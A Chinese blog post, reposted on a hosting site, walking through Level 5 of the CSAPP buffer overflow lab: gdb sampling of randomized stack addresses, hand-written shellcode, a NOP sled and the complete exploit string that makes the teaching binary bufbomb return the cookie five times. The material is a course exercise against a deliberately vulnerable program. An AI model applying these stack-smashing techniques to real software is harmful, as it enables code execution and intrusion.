溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

CSAPP緩沖區(qū)溢出實(shí)驗(yàn)記錄(三)

發(fā)布時間:2020-08-09 00:36:02 來源:網(wǎng)絡(luò) 閱讀:3912 作者:heeeeen 欄目:安全技術(shù)

Level 5 Nitroglycerin (10 分)

題目說明:這一關(guān)是一道加分題。在bufbomb程序中還有一個'-n'的選項(xiàng),使用這個選項(xiàng)時,bufbomb會運(yùn)行Nitro模式,此時程序不會調(diào)用getbuf,而是調(diào)用getbufn:

int getbufn()
{
    char buf[512];
    Gets(buf);
    return 1;
}

這個函數(shù)與getbuf所不同的是,分配了512字節(jié)的字符數(shù)組,而調(diào)用getbufn的函數(shù)會在棧中隨機(jī)分配一段存儲區(qū),這導(dǎo)致getbufn使用的棧基址EBP隨機(jī)變化。此外,在Nitro模式運(yùn)行時,bufbomb會要求提供5次輸入字符串,每一次都要求getbufn的返回值為實(shí)驗(yàn)者的cookie。

與Level4相同,但要求提供同一個exploit string,在getbufn被調(diào)用5次后,最終返回到testn函數(shù)中,且不能破壞testn的堆棧狀態(tài),并使返回值為cookie。

解法:

由于getbufn函數(shù)棧的EBP不固定,每一次buf都不相同,我們先進(jìn)行采樣,觀察其變化規(guī)律。

(gdb) disass getbufn
Dump of assembler code for function getbufn:
0x08048a60 <getbufn+0>: push   %ebp
0x08048a61 <getbufn+1>: mov    %esp,%ebp
0x08048a63 <getbufn+3>: sub    $0x208,%esp
0x08048a69 <getbufn+9>: add    $0xfffffff4,%esp
0x08048a6c <getbufn+12>:        lea    0xfffffe00(%ebp),%eax
0x08048a72 <getbufn+18>:        push   %eax
0x08048a73 <getbufn+19>:        call   0x8048b50 <Gets>
0x08048a78 <getbufn+24>:        mov    $0x1,%eax
0x08048a7d <getbufn+29>:        mov    %ebp,%esp
0x08048a7f <getbufn+31>:        pop    %ebp
0x08048a80 <getbufn+32>:        ret    
End of assembler dump.
(gdb) b *0x8048a72                 注:在調(diào)用Gets前下斷點(diǎn)
Breakpoint 1 at 0x8048a72
(gdb) run -n -t heen                  以Nitro模式運(yùn)行
Starting program: /root/Desktop/buflab/bufbomb -n -t heen
Team: heen
Cookie: 0x5573b7cf
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00         以16進(jìn)制打印buf
$1 = 0xbfffaeb8
(gdb) cont
Continuing.
Type string:hello
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$2 = 0xbfffaeb8
(gdb) cont
Continuing.
Type string:hello again
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$3 = 0xbfffaec8
(gdb) cont
Continuing.
Type string:hello again again
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$4 = 0xbfffae98
(gdb) cont
Continuing.
Type string:dfafafaf
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$5 = 0xbfffaec8
(gdb) p $ebp+0xfffffe00-$ebp
$6 = -512
(gdb) cont
Continuing.
Type string:fdfdfdfdfff
Dud: getbufn returned 0x1
Better luck next time
Program exited normally.

在getbufn被調(diào)用5次時,buf分別為0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我們打印了一下buf與EBP之間的偏移,正好為buf分配的512字節(jié)。堆棧布局如圖所示。

CSAPP緩沖區(qū)溢出實(shí)驗(yàn)記錄(三)

由于buf分配了足夠的存儲空間(512字節(jié)),而且buf本身隨機(jī)變化,因此我們考慮在實(shí)際的shellcode前加上NOP Sled(空指令雪撬),然后提供一個buf在getbufn5次調(diào)用中的最大地址覆蓋ret,這樣可保證ret指向EBP與實(shí)際buf之間的NOP Sled區(qū),這樣保證通過NOP空指令滑行,最終執(zhí)行shellcode。

另外一個需要注意的地方是恢復(fù)調(diào)用函數(shù)testn的堆棧狀態(tài),由于EBP不固定,不能向Level 4那樣在exploit string中填入SFP,需要在shellcode中設(shè)置。

總結(jié)一下,編寫shellcode需要(1)恢復(fù)SFP;(2)設(shè)置getbufn返回值為cookie;(3)跳轉(zhuǎn)到testn中調(diào)用getbufn后的下一指令地址。

反匯編testn

(gdb) disass testn
Dump of assembler code for function testn:
0x08048a84 <testn+0>:   push   %ebp
0x08048a85 <testn+1>:   mov    %esp,%ebp
0x08048a87 <testn+3>:   sub    $0x18,%esp ; %ebp=%esp+0x18
0x08048a8a <testn+6>:   movl   $0xdeadbeef,0xfffffffc(%ebp)
0x08048a91 <testn+13>:  call   0x8048a60 <getbufn>
0x08048a96 <testn+18>:  mov    %eax,%edx ;shellcode需要返回到的地址
0x08048a98 <testn+20>:  mov    0xfffffffc(%ebp),%eax
0x08048a9b <testn+23>:  cmp    $0xdeadbeef,%eax
0x08048aa0 <testn+28>:  je     0x8048ab1 <testn+45>
0x08048aa2 <testn+30>:  add    $0xfffffff4,%esp
0x08048aa5 <testn+33>:  push   $0x8049440
0x08048aaa <testn+38>:  call   0x8048748 <printf@plt>
0x08048aaf <testn+43>:  jmp    0x8048ae1 <testn+93>
0x08048ab1 <testn+45>:  cmp    0x804aa50,%edx
0x08048ab7 <testn+51>:  jne    0x8048ad3 <testn+79>
0x08048ab9 <testn+53>:  add    $0xfffffff8,%esp
0x08048abc <testn+56>:  push   %edx
0x08048abd <testn+57>:  push   $0x80494c0
0x08048ac2 <testn+62>:  call   0x8048748 <printf@plt>
0x08048ac7 <testn+67>:  add    $0xfffffff4,%esp
0x08048aca <testn+70>:  push   $0x4
0x08048acc <testn+72>:  call   0x8048c30 <validate>
---Type <return> to continue, or q <return> to quit---

由于我們只覆蓋了getbufn在堆棧中的SFP和RET,不會影響ESP,可以反推testn堆棧中的ebp(即getbufn的SFP)為esp+0x18。通過這些信息,編寫shellcode,并獲得其十六進(jìn)制的機(jī)器碼

[root@localhost buflab]# cat exploit5_shellcode.s
leal 0x18(%esp),%ebp
movl $0x5573b7cf,%eax
pushl $0x8048a96
ret
[root@localhost buflab]# gcc -c exploit5_shellcode.s
[root@localhost buflab]# objdump -d exploit5_shellcode.o

exploit5_shellcode.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:   8d 6c 24 18             lea    0x18(%esp),%ebp
   4:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax
   9:   68 96 8a 04 08          push   $0x8048a96
   e:   c3                      ret

上述shellcode的機(jī)器碼包括15個字節(jié),我們還需要在其前面填入512 -15 = 497個NOP(90)。

編寫497個空格間斷的90是一件痛苦的事,幸好我們有perl來幫我們完成

[root@localhost buflab]# perl -e 'print "90 " x 497;'> exploit5.txt

當(dāng)然perl還可直接生成exploit string,由于有sendstring程序,此處不表。

接著編輯exploit5.txt,在最后一個90后填入。

90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf 

<-497個->
上面的4個61為覆蓋SFP的地方,由于我們shellcode中做了設(shè)置,因此此處可為任意字節(jié)(除回車和nul),最后緊跟我們實(shí)驗(yàn)中獲得的buf 的最大地址0xbffffaec8。

運(yùn)行

[root@localhost buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
NICE JOB!

在getbufn調(diào)用5次后,滿足了題目要求。

總結(jié):

上述5關(guān)前前后后做了一個月,盡管以前對棧的緩沖區(qū)溢出有所理解,但當(dāng)真正實(shí)踐起來又是另外一回事,也并非如記錄中的那樣一帆風(fēng)順、信手捻來,而是走了無數(shù)的彎路以后才理解、并應(yīng)用了正確的方法、得出了最后的結(jié)果,正所謂"紙上得來終覺淺,絕知此事要躬行",在信息安全這樣一個實(shí)戰(zhàn)性極強(qiáng)的領(lǐng)域里,更需要實(shí)實(shí)在在地耕耘下去。


向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI